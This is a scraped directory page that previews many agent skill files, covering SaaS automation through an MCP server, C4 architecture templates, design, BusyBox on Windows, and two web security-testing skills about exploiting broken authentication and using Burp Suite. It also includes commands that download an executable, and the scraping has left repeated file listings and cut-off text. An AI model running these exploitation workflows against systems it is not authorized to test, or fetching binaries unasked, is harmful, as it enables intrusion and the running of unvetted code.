| You Need | You Call | Pricing |
|----------|----------|---------|
| Image generation | DALL-E | $0.04/image |
| Real-time X data | Grok + Live Search | $0.025/source |View the complete source on GitHubbox-automation
When your agent uses it
Automate Box cloud storage operations including file upload/download, search, folder management, sharing, collaborations, and metadata queries via Rube MCP (Composio). Always search tools first for...
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
3,023 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Core Workflows
- Common Patterns
- Known Pitfalls
- Quick Reference
- When to Use
Files
SKILL.mdcore12,321 bytes
Read SKILL.md
# Box Automation via Rube MCP
Automate Box operations including file upload/download, content search, folder management, collaboration, metadata queries, and sign requests through Composio's Box toolkit.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active Box connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `box`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
View the complete source on GitHubbrainstorming
When your agent uses it
Use before creative or constructive work (features, architecture, behavior). Transforms vague ideas into validated designs through disciplined reasoning and collaboration.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
1,070 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Operating Mode
- The Process
- After the Design
- Exit Criteria (Hard Stop Conditions)
- Key Principles (Non-Negotiable)
- When to Use
Files
SKILL.mdcore5,164 bytes
Read SKILL.md
# Brainstorming Ideas Into Designs
## Purpose
Turn raw ideas into **clear, validated designs and specifications**
through structured dialogue **before any implementation begins**.
This skill exists to prevent:
- premature implementation
- hidden assumptions
- misaligned solutions
- fragile systems
You are **not allowed** to implement, code, or modify behavior while this skill is active.View the complete source on GitHubbrand-guidelines-anthropic
When your agent uses it
Applies Anthropic's official brand colors and typography to any sort of artifact that may benefit from having Anthropic's look-and-feel. Use it when brand colors or style guidelines, visual formatt...
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
546 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Brand Guidelines
- Features
- Technical Details
- When to Use
Files
LICENSE.txtdoc11,357 bytesSKILL.mdcore2,346 bytes
Read SKILL.md
# Anthropic Brand Styling
## Overview
To access Anthropic's official brand identity and style resources, use this skill.
**Keywords**: branding, corporate identity, visual identity, post-processing, styling, brand colors, typography, Anthropic brand, visual formatting, visual design
## Brand Guidelines
### Colors
**Main Colors:**
View the complete source on GitHubbrand-guidelines-community
When your agent uses it
Applies Anthropic's official brand colors and typography to any sort of artifact that may benefit from having Anthropic's look-and-feel. Use it when brand colors or style guidelines, visual formatt...
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
544 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Brand Guidelines
- Features
- Technical Details
- When to Use
Files
LICENSE.txtdoc11,357 bytesSKILL.mdcore2,346 bytes
Read SKILL.md
# Anthropic Brand Styling
## Overview
To access Anthropic's official brand identity and style resources, use this skill.
**Keywords**: branding, corporate identity, visual identity, post-processing, styling, brand colors, typography, Anthropic brand, visual formatting, visual design
## Brand Guidelines
### Colors
**Main Colors:**
View the complete source on GitHubbrevo-automation
When your agent uses it
Automate Brevo (Sendinblue) tasks via Rube MCP (Composio): manage email campaigns, create/edit templates, track senders, and monitor campaign performance. Always search tools first for current sche...
What it loads into context
Frontmatter
71 tokensAlways available to the agent
SKILL.md
1,979 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Core Workflows
- Common Patterns
- Known Pitfalls
- Quick Reference
- When to Use
Files
SKILL.mdcore7,930 bytes
Read SKILL.md
# Brevo Automation via Rube MCP
Automate Brevo (formerly Sendinblue) email marketing operations through Composio's Brevo toolkit via Rube MCP.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active Brevo connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `brevo`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
View the complete source on GitHubbroken-authentication
When your agent uses it
This skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuffing tests", "evaluate ...
What it loads into context
Frontmatter
65 tokensAlways available to the agent
SKILL.md
3,044 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Outputs and Deliverables
- Core Workflow
- Quick Reference
- Constraints and Limitations
- Examples
- Troubleshooting
- When to Use
Files
SKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytesSKILL.mdcore12,539 bytes
Read SKILL.md
# Broken Authentication Testing
## Purpose
Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.
## Prerequisites
### Required Knowledge
- HTTP protocol and session mechanisms
- Authentication types (SFA, 2FA, MFA)
- Cookie and token handling
- Common authentication frameworks
View the complete source on GitHubbrowser-automation
When your agent uses it
Browser automation powers web testing, scraping, and AI agent interactions. The difference between a flaky script and a reliable system comes down to understanding selectors, waiting strategies, an...
What it loads into context
Frontmatter
61 tokensAlways available to the agent
SKILL.md
475 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Capabilities
- Patterns
- Anti-Patterns
- ⚠<U+FE0F> Sharp Edges
- Related Skills
- When to Use
Files
SKILL.mdcore2,103 bytes
Read SKILL.md
# Browser Automation
You are a browser automation expert who has debugged thousands of flaky tests
and built scrapers that run for years without breaking. You've seen the
evolution from Selenium to Puppeteer to Playwright and understand exactly
when each tool shines.
Your core insight: Most automation failures come from three sources - bad
selectors, missing waits, and detection systems. You teach people to think
like the browser, use the right selectors, and let Playwright's auto-wait
do its job.
For scraping, yo
View the complete source on GitHubbrowser-extension-builder
When your agent uses it
Expert in building browser extensions that solve real problems - Chrome, Firefox, and cross-browser extensions. Covers extension architecture, manifest v3, content scripts, popup UIs, monetization ...
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
1,437 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Capabilities
- Patterns
Files
SKILL.mdcore5,967 bytes
Read SKILL.md
# Browser Extension Builder
**Role**: Browser Extension Architect
You extend the browser to give users superpowers. You understand the
unique constraints of extension development - permissions, security,
store policies. You build extensions that people install and actually
use daily. You know the difference between a toy and a tool.
## Capabilities
- Extension architecture
- Manifest v3 (MV3)
- Content scriptsView the complete source on GitHubbullmq-specialist
When your agent uses it
BullMQ expert for Redis-backed job queues, background processing, and reliable async execution in Node.js/TypeScript applications. Use when: bullmq, bull queue, redis queue, background job, job queue.
What it loads into context
Frontmatter
70 tokensAlways available to the agent
SKILL.md
367 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Capabilities
- Patterns
- Anti-Patterns
- Related Skills
- When to Use
Files
SKILL.mdcore1,654 bytes
Read SKILL.md
# BullMQ Specialist
You are a BullMQ expert who has processed billions of jobs in production.
You understand that queues are the backbone of scalable applications - they
decouple services, smooth traffic spikes, and enable reliable async processing.
You've debugged stuck jobs at 3am, optimized worker concurrency for maximum
throughput, and designed job flows that handle complex multi-step processes.
You know that most queue problems are actually Redis problems or application
design problems.
Your core philosophy:
## CapabilitiesView the complete source on GitHubbun-development
When your agent uses it
Modern JavaScript/TypeScript development with Bun runtime. Covers package management, bundling, testing, and migration from Node.js. Use when working with Bun, optimizing JS/TS development speed, o...
What it loads into context
Frontmatter
56 tokensAlways available to the agent
SKILL.md
3,808 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- 1. Getting Started
- 2. Project Setup
- 3. Package Management
- 4. Running Code
- 5. Built-in APIs
- 6. Testing
- 7. Bundling
- 8. Migration from Node.js
- 9. Performance Tips
- Quick Reference
- Resources
Files
SKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytesSKILL.mdcore14,145 bytes
Read SKILL.md
# ⚡ Bun Development
> Fast, modern JavaScript/TypeScript development with the Bun runtime, inspired by [oven-sh/bun](https://github.com/oven-sh/bun).
## When to Use This Skill
Use this skill when:
- Starting new JS/TS projects with Bun
- Migrating from Node.js to Bun
- Optimizing development speed
- Using Bun's built-in tools (bundler, test runner)
- Troubleshooting Bun-specific issues
View the complete source on GitHubburp-suite-testing
When your agent uses it
This skill should be used when the user asks to "intercept HTTP traffic", "modify web requests", "use Burp Suite for testing", "perform web vulnerability scanning", "test with Burp ...
What it loads into context
Frontmatter
74 tokensAlways available to the agent
SKILL.md
2,474 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs / Prerequisites
- Outputs / Deliverables
- Core Workflow
- Quick Reference
- Constraints and Guardrails
- Examples
- Troubleshooting
- When to Use
Files
SKILL.mdcore10,869 bytes
Read SKILL.md
# Burp Suite Web Application Testing
## Purpose
Execute comprehensive web application security testing using Burp Suite's integrated toolset, including HTTP traffic interception and modification, request analysis and replay, automated vulnerability scanning, and manual testing workflows. This skill enables systematic discovery and exploitation of web application vulnerabilities through proxy-based testing methodology.
## Inputs / Prerequisites
### Required Tools
- Burp Suite Community or Professional Edition installed
- Burp's embedded browser or configured external browser
- Target web application URL
- Valid credentials for authenticated testing (if applicable)
View the complete source on GitHubbusiness-analyst
When your agent uses it
What it loads into context
Frontmatter
72 tokensAlways available to the agent
SKILL.md
1,359 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Purpose
- Capabilities
- Behavioral Traits
- Knowledge Base
- Response Approach
- Example Interactions
Files
SKILL.mdcore7,857 bytes
Read SKILL.md
## Use this skill when
- Working on business analyst tasks or workflows
- Needing guidance, best practices, or checklists for business analyst
## Do not use this skill when
- The task is unrelated to business analyst
- You need a different domain or tool outside this scope
## Instructions
- Clarify goals, constraints, and required inputs.
- Apply relevant best practices and validate outcomes.View the complete source on GitHubbusybox-on-windows
When your agent uses it
How to use a Win32 build of BusyBox to run many of the standard UNIX command line tools on Windows.
What it loads into context
Frontmatter
45 tokensAlways available to the agent
SKILL.md
528 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
Files
SKILL.mdcore2,056 bytes
Read SKILL.md
BusyBox is a single binary that implements many common Unix tools.
Use this skill only on Windows. If you are on UNIX, then stop here.
Run the following steps only if you cannot find a `busybox.exe` file in the same directory as this document is.
These are PowerShell commands, if you have a classic `cmd.exe` terminal, then you must use `powershell -Command "..."` to run them.
1. Print the type of CPU: `Get-CimInstance -ClassName Win32_Processor | Select-Object Name, NumberOfCores, MaxClockSpeed`
2. Print the OS versions: `Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" | Select-Object ProductName, DisplayVersion, CurrentBuild`
3. Download a suitable build of BusyBox by running one of these PowerShell commands:
- 32-bit x86 (ANSI): `$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://frippery.org/files/busybox/busybox.exe -OutFile busybox.exe`
- 64-bit x86 (ANSI): `$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://frippery.org/files/busybox/busybox64.exe -OutFile busybox.exe`
- 64-bit x86 (Unicode): `$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://frippery.org/files/busybox/busybox64u.exe -OutFile busybox.exe`
- 64-bit ARM (Unicode): `$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://frippery.org/files/busybox/busybox64a.exe -OutFile busybox.exe`
View the complete source on GitHubc-pro
When your agent uses it
Write efficient C code with proper memory management, pointer arithmetic, and system calls. Handles embedded systems, kernel modules, and performance-critical code. Use PROACTIVELY for C optimization, memory issues, or system programming.
What it loads into context
Frontmatter
70 tokensAlways available to the agent
SKILL.md
366 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Focus Areas
- Approach
- Output
Files
SKILL.mdcore1,709 bytes
Read SKILL.md
## Use this skill when
- Working on c pro tasks or workflows
- Needing guidance, best practices, or checklists for c pro
## Do not use this skill when
- The task is unrelated to c pro
- You need a different domain or tool outside this scope
## Instructions
- Clarify goals, constraints, and required inputs.
- Apply relevant best practices and validate outcomes.View the complete source on GitHubc4-architecture-c4-architecture
When your agent uses it
Generate comprehensive C4 architecture documentation for an existing repository/codebase using a bottom-up analysis approach.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
3,538 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Overview
- Phase 1: Code-Level Documentation (Bottom-Up Analysis)
- Phase 2: Component-Level Synthesis
- Phase 3: Container-Level Synthesis
- Phase 4: Context-Level Documentation
- Configuration Options
- Success Criteria
- Output Structure
- Coordination Notes
- Example Usage
Files
SKILL.mdcore16,563 bytesSKILL.mdcore16,563 bytesSKILL.mdcore16,563 bytes
Read SKILL.md
# C4 Architecture Documentation Workflow
Generate comprehensive C4 architecture documentation for an existing repository/codebase using a bottom-up analysis approach.
[Extended thinking: This workflow implements a complete C4 architecture documentation process following the C4 model (Context, Container, Component, Code). It uses a bottom-up approach, starting from the deepest code directories and working upward, ensuring every code element is documented before synthesizing into higher-level abstractions. The workflow coordinates four specialized C4 agents (Code, Component, Container, Context) to create a complete architectural documentation set that serves both technical and non-technical stakeholders.]
## Use this skill when
- Working on c4 architecture documentation workflow tasks or workflows
- Needing guidance, best practices, or checklists for c4 architecture documentation workflow
## Do not use this skill when
- The task is unrelated to c4 architecture documentation workflowView the complete source on GitHubc4-code
When your agent uses it
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
1,633 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Overview
- Code Elements
- Dependencies
- Relationships
Files
SKILL.mdcore7,890 bytesSKILL.mdcore7,890 bytes
Read SKILL.md
# C4 Code Level: [Directory Name]
## Use this skill when
- Working on c4 code level: [directory name] tasks or workflows
- Needing guidance, best practices, or checklists for c4 code level: [directory name]
## Do not use this skill when
- The task is unrelated to c4 code level: [directory name]
- You need a different domain or tool outside this scope
## Instructions
View the complete source on GitHubc4-component
When your agent uses it
What it loads into context
Frontmatter
79 tokensAlways available to the agent
SKILL.md
1,055 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Overview
- Purpose
- Software Features
- Code Elements
- Interfaces
- Dependencies
- Component Diagram
- Master Component Index Template
- Example Interactions
- Key Distinctions
- Output Examples
Files
SKILL.mdcore4,840 bytes
Read SKILL.md
# C4 Component Level: [Component Name]
## Use this skill when
- Working on c4 component level: [component name] tasks or workflows
- Needing guidance, best practices, or checklists for c4 component level: [component name]
## Do not use this skill when
- The task is unrelated to c4 component level: [component name]
- You need a different domain or tool outside this scope
## Instructions
View the complete source on GitHubc4-container
When your agent uses it
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
1,213 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- Containers
- Purpose
- Components
- Interfaces
- Dependencies
- Infrastructure
- Container Diagram
- API Specification Template
- Example Interactions
- Key Distinctions
- Output Examples
Files
SKILL.mdcore5,623 bytes
Read SKILL.md
# C4 Container Level: System Deployment
## Use this skill when
- Working on c4 container level: system deployment tasks or workflows
- Needing guidance, best practices, or checklists for c4 container level: system deployment
## Do not use this skill when
- The task is unrelated to c4 container level: system deployment
- You need a different domain or tool outside this scope
## Instructions
View the complete source on GitHubc4-context
When your agent uses it
What it loads into context
Frontmatter
91 tokensAlways available to the agent
SKILL.md
1,128 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Use this skill when
- Do not use this skill when
- Instructions
- System Overview
- Personas
- System Features
- User Journeys
- External Systems and Dependencies
- System Context Diagram
- Related Documentation
- Example Interactions
- Key Distinctions
- Output Examples
Files
SKILL.mdcore5,168 bytes
Read SKILL.md
# C4 Context Level: System Context
## Use this skill when
- Working on c4 context level: system context tasks or workflows
- Needing guidance, best practices, or checklists for c4 context level: system context
## Do not use this skill when
- The task is unrelated to c4 context level: system context
- You need a different domain or tool outside this scope
## Instructions
View the complete source on GitHubcal-com-automation
When your agent uses it
Automate Cal.com tasks via Rube MCP (Composio): manage bookings, check availability, configure webhooks, and handle teams. Always search tools first for current schemas.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
1,856 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Core Workflows
- Common Patterns
- Known Pitfalls
- Quick Reference
- When to Use
Files
SKILL.mdcore7,547 bytes
Read SKILL.md
# Cal.com Automation via Rube MCP
Automate Cal.com scheduling operations through Composio's Cal toolkit via Rube MCP.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active Cal.com connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `cal`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
View the complete source on GitHubcalendly-automation
When your agent uses it
Automate Calendly scheduling, event management, invitee tracking, availability checks, and organization administration via Rube MCP (Composio). Always search tools first for current schemas.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
2,672 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Core Workflows
- Common Patterns
- Known Pitfalls
- Quick Reference
- When to Use
Files
SKILL.mdcore10,670 bytes
Read SKILL.md
# Calendly Automation via Rube MCP
Automate Calendly operations including event listing, invitee management, scheduling link creation, availability queries, and organization administration through Composio's Calendly toolkit.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active Calendly connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `calendly`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
- Many operations require the user's Calendly URI, obtained via `CALENDLY_GET_CURRENT_USER`
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.View the complete source on GitHubcanva-automation
When your agent uses it
Automate Canva tasks via Rube MCP (Composio): designs, exports, folders, brand templates, autofill. Always search tools first for current schemas.
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
1,997 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Setup
- Core Workflows
- Common Patterns
- Known Pitfalls
- Quick Reference
- When to Use
Files
SKILL.mdcore8,238 bytes
Read SKILL.md
# Canva Automation via Rube MCP
Automate Canva design operations through Composio's Canva toolkit via Rube MCP.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active Canva connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `canva`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
View the complete source on GitHubcanvas-design
When your agent uses it
Create beautiful visual art in .png and .pdf documents using design philosophy. You should use this skill when the user asks to create a poster, piece of art, design, or other static piece. Create ...
What it loads into context
Frontmatter
65 tokensAlways available to the agent
SKILL.md
2,368 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- DESIGN PHILOSOPHY CREATION
- DEDUCING THE SUBTLE REFERENCE
- CANVAS CREATION
- FINAL STEP
- MULTI-PAGE OPTION
- When to Use
Files
LICENSE.txtdoc11,357 bytesSKILL.mdcore11,988 bytescanvas-fonts/ArsenalSC-OFL.txtdoc4,373 bytescanvas-fonts/ArsenalSC-Regular.ttfasset165,848 bytescanvas-fonts/BigShoulders-Bold.ttfasset94,528 bytescanvas-fonts/BigShoulders-OFL.txtdoc4,397 bytescanvas-fonts/BigShoulders-Regular.ttfasset94,396 bytescanvas-fonts/Boldonse-OFL.txtdoc4,390 bytescanvas-fonts/Boldonse-Regular.ttfasset77,168 bytescanvas-fonts/BricolageGrotesque-Bold.ttfasset90,952 bytescanvas-fonts/BricolageGrotesque-OFL.txtdoc4,403 bytescanvas-fonts/BricolageGrotesque-Regular.ttfasset90,920 bytescanvas-fonts/CrimsonPro-Bold.ttfasset107,352 bytescanvas-fonts/CrimsonPro-Italic.ttfasset108,828 bytescanvas-fonts/CrimsonPro-OFL.txtdoc4,394 bytescanvas-fonts/CrimsonPro-Regular.ttfasset106,696 bytescanvas-fonts/DMMono-OFL.txtdoc4,392 bytescanvas-fonts/DMMono-Regular.ttfasset48,852 bytescanvas-fonts/EricaOne-OFL.txtdoc4,410 bytescanvas-fonts/EricaOne-Regular.ttfasset24,872 bytescanvas-fonts/GeistMono-Bold.ttfasset78,304 bytescanvas-fonts/GeistMono-OFL.txtdoc4,388 bytescanvas-fonts/GeistMono-Regular.ttfasset78,232 bytescanvas-fonts/Gloock-OFL.txtdoc4,381 bytescanvas-fonts/Gloock-Regular.ttfasset95,156 bytescanvas-fonts/IBMPlexMono-Bold.ttfasset136,008 bytescanvas-fonts/IBMPlexMono-OFL.txtdoc4,363 bytescanvas-fonts/IBMPlexMono-Regular.ttfasset133,796 bytescanvas-fonts/IBMPlexSerif-Bold.ttfasset161,000 bytescanvas-fonts/IBMPlexSerif-BoldItalic.ttfasset169,840 bytescanvas-fonts/IBMPlexSerif-Italic.ttfasset170,004 bytescanvas-fonts/IBMPlexSerif-Regular.ttfasset160,380 bytescanvas-fonts/InstrumentSans-Bold.ttfasset68,084 bytescanvas-fonts/InstrumentSans-BoldItalic.ttfasset70,004 bytescanvas-fonts/InstrumentSans-Italic.ttfasset69,900 bytescanvas-fonts/InstrumentSans-OFL.txtdoc4,403 bytescanvas-fonts/InstrumentSans-Regular.ttfasset68,028 bytescanvas-fonts/InstrumentSerif-Italic.ttfasset70,868 bytescanvas-fonts/InstrumentSerif-Regular.ttfasset69,312 bytescanvas-fonts/Italiana-OFL.txtdoc4,394 bytescanvas-fonts/Italiana-Regular.ttfasset27,184 bytescanvas-fonts/JetBrainsMono-Bold.ttfasset114,828 bytescanvas-fonts/JetBrainsMono-OFL.txtdoc4,399 bytescanvas-fonts/JetBrainsMono-Regular.ttfasset114,904 bytescanvas-fonts/Jura-Light.ttfasset154,308 bytescanvas-fonts/Jura-Medium.ttfasset154,488 bytescanvas-fonts/Jura-OFL.txtdoc4,380 bytescanvas-fonts/LibreBaskerville-OFL.txtdoc4,449 bytescanvas-fonts/LibreBaskerville-Regular.ttfasset147,584 bytescanvas-fonts/Lora-Bold.ttfasset133,828 bytescanvas-fonts/Lora-BoldItalic.ttfasset140,332 bytescanvas-fonts/Lora-Italic.ttfasset139,328 bytescanvas-fonts/Lora-OFL.txtdoc4,423 bytescanvas-fonts/Lora-Regular.ttfasset133,888 bytescanvas-fonts/NationalPark-Bold.ttfasset79,208 bytescanvas-fonts/NationalPark-OFL.txtdoc4,399 bytescanvas-fonts/NationalPark-Regular.ttfasset76,424 bytescanvas-fonts/NothingYouCouldDo-OFL.txtdoc4,363 bytescanvas-fonts/NothingYouCouldDo-Regular.ttfasset32,020 bytescanvas-fonts/Outfit-Bold.ttfasset55,392 bytescanvas-fonts/Outfit-OFL.txtdoc4,389 bytescanvas-fonts/Outfit-Regular.ttfasset54,912 bytescanvas-fonts/PixelifySans-Medium.ttfasset51,072 bytescanvas-fonts/PixelifySans-OFL.txtdoc4,395 bytescanvas-fonts/PoiretOne-OFL.txtdoc4,366 bytescanvas-fonts/PoiretOne-Regular.ttfasset45,244 bytescanvas-fonts/RedHatMono-Bold.ttfasset34,420 bytescanvas-fonts/RedHatMono-OFL.txtdoc4,394 bytescanvas-fonts/RedHatMono-Regular.ttfasset34,488 bytescanvas-fonts/Silkscreen-OFL.txtdoc4,394 bytescanvas-fonts/Silkscreen-Regular.ttfasset31,960 bytescanvas-fonts/SmoochSans-Medium.ttfasset59,704 bytescanvas-fonts/SmoochSans-OFL.txtdoc4,396 bytescanvas-fonts/Tektur-Medium.ttfasset76,248 bytescanvas-fonts/Tektur-OFL.txtdoc4,385 bytescanvas-fonts/Tektur-Regular.ttfasset75,604 bytescanvas-fonts/WorkSans-Bold.ttfasset191,304 bytescanvas-fonts/WorkSans-BoldItalic.ttfasset175,772 bytescanvas-fonts/WorkSans-Italic.ttfasset174,280 bytescanvas-fonts/WorkSans-OFL.txtdoc4,397 bytescanvas-fonts/WorkSans-Regular.ttfasset188,916 bytescanvas-fonts/YoungSerif-OFL.txtdoc4,398 bytescanvas-fonts/YoungSerif-Regular.ttfasset105,136 bytes
Read SKILL.md
These are instructions for creating design philosophies - aesthetic movements that are then EXPRESSED VISUALLY. Output only .md files, .pdf files, and .png files.
Complete this in two steps:
1. Design Philosophy Creation (.md file)
2. Express by creating it on a canvas (.pdf file or .png file)
First, undertake this task:
## DESIGN PHILOSOPHY CREATION
To begin, create a VISUAL PHILOSOPHY (not layouts or templates) that will be interpreted through:
- Form, space, color, composition
- Images, graphics, shapes, patterns
- Minimal text as visual accentView the complete source on GitHubcc-skill-backend-patterns
When your agent uses it
Backend architecture patterns, API design, database optimization, and server-side best practices for Node.js, Express, and Next.js API routes.
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
3,235 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- API Design Patterns
- Database Patterns
- Caching Strategies
- Error Handling Patterns
- Authentication & Authorization
- Rate Limiting
- Background Jobs & Queues
- Logging & Monitoring
- When to Use
Files
SKILL.mdcore13,353 bytes
Read SKILL.md
# Backend Development Patterns
Backend architecture patterns and best practices for scalable server-side applications.
## API Design Patterns
### RESTful API Structure
```typescript
// ✅ Resource-based URLs
GET /api/markets # List resources
GET /api/markets/:id # Get single resource
POST /api/markets # Create resource
PUT /api/markets/:id # Replace resourceView the complete source on GitHubcc-skill-clickhouse-io
When your agent uses it
ClickHouse database patterns, query optimization, analytics, and data engineering best practices for high-performance analytical workloads.
What it loads into context
Frontmatter
54 tokensAlways available to the agent
SKILL.md
2,503 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Table Design Patterns
- Query Optimization Patterns
- Data Insertion Patterns
- Materialized Views
- Performance Monitoring
- Common Analytics Queries
- Data Pipeline Patterns
- Best Practices
- When to Use
Files
SKILL.mdcore10,150 bytesSKILL.mdcore10,150 bytes
Read SKILL.md
# ClickHouse Analytics Patterns
ClickHouse-specific patterns for high-performance analytics and data engineering.
## Overview
ClickHouse is a column-oriented database management system (DBMS) for online analytical processing (OLAP). It's optimized for fast analytical queries on large datasets.
**Key Features:**
- Column-oriented storage
- Data compression
- Parallel query execution
- Distributed queries
- Real-time analyticsView the complete source on GitHubcc-skill-coding-standards
When your agent uses it
